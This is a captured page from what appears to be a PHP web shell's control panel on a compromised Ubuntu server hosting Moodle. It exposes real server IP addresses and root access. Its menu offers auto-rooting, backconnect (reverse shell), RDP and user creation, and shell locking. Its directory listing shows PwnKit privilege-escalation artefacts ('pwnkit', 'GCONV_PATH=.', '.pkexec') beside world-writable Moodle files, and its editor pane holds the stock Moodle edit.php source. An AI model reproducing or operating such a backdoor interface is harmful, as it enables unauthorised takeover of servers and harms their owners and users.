Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
customlang /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
edit.php
4.46
KB
-rwxrwxrwx
filter_form.php
2.96
KB
-rwxrwxrwx
index.php
4.98
KB
-rwxrwxrwx
lib.php
906
B
-rwxrwxrwx
locallib.php
20.04
KB
-rwxrwxrwx
module.js
1.32
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.07
KB
-rwxrwxrwx
version.php
1.06
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package tool * @subpackage customlang * @copyright 2010 David Mudrak <david@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__ . '/../../../config.php'); require_once($CFG->dirroot.'/'.$CFG->admin.'/tool/customlang/locallib.php'); require_once($CFG->dirroot.'/'.$CFG->admin.'/tool/customlang/filter_form.php'); require_once($CFG->libdir.'/adminlib.php'); require_login(SITEID, false); require_capability('tool/customlang:edit', context_system::instance()); $lng = required_param('lng', PARAM_LANG); $currentpage = optional_param('p', 0, PARAM_INT); $translatorsubmitted = optional_param('translatorsubmitted', 0, PARAM_BOOL); admin_externalpage_setup('toolcustomlang', '', null, new moodle_url('/admin/tool/customlang/edit.php', array('lng' => $lng)), array('pagelayout' => 'report')); // Hack: allows for wide page contents. $PAGE->requires->js_init_call('M.tool_customlang.init_editor', array(), true); if (empty($lng)) { // PARAM_LANG validation failed print_error('missingparameter'); } // pre-output processing $filter = new tool_customlang_filter_form($PAGE->url, null, 'post', '', array('class'=>'filterform')); $filterdata = tool_customlang_utils::load_filter($USER); $filter->set_data($filterdata); if ($filter->is_cancelled()) { redirect($PAGE->url); } elseif ($submitted = $filter->get_data()) { tool_customlang_utils::save_filter($submitted, $USER); redirect(new moodle_url($PAGE->url, array('p'=>0))); } if ($translatorsubmitted) { $strings = optional_param_array('cust', array(), PARAM_RAW); $updates = optional_param_array('updates', array(), PARAM_INT); $checkin = optional_param('savecheckin', false, PARAM_RAW); if ($checkin === false) { $nexturl = new moodle_url($PAGE->url, array('p' => $currentpage)); } else { $nexturl = new moodle_url('/admin/tool/customlang/index.php', array('action'=>'checkin', 'lng' => $lng, 'sesskey'=>sesskey())); } if (!is_array($strings)) { $strings = array(); } $current = $DB->get_records_list('tool_customlang', 'id', array_keys($strings)); $now = time(); foreach ($strings as $recordid => $customization) { $customization = trim($customization); if (empty($customization) and !is_null($current[$recordid]->local)) { $current[$recordid]->local = null; $current[$recordid]->modified = 1; $current[$recordid]->outdated = 0; $current[$recordid]->timecustomized = null; $DB->update_record('tool_customlang', $current[$recordid]); continue; } if (empty($customization)) { continue; } if ($customization !== $current[$recordid]->local) { $current[$recordid]->local = $customization; $current[$recordid]->modified = 1; $current[$recordid]->outdated = 0; $current[$recordid]->timecustomized = $now; $DB->update_record('tool_customlang', $current[$recordid]); continue; } } if (!is_array($updates)) { $updates = array(); } if (!empty($updates)) { list($sql, $params) = $DB->get_in_or_equal($updates); $DB->set_field_select('tool_customlang', 'outdated', 0, "local IS NOT NULL AND id $sql", $params); } redirect($nexturl); } $translator = new tool_customlang_translator($PAGE->url, $lng, $filterdata, $currentpage); // output starts here $output = $PAGE->get_renderer('tool_customlang'); $paginator = $output->paging_bar($translator->numofrows, $currentpage, tool_customlang_translator::PERPAGE, $PAGE->url, 'p'); echo $output->header(); $filter->display(); echo $paginator; echo $output->render($translator); echo $paginator; echo $output->footer();
Close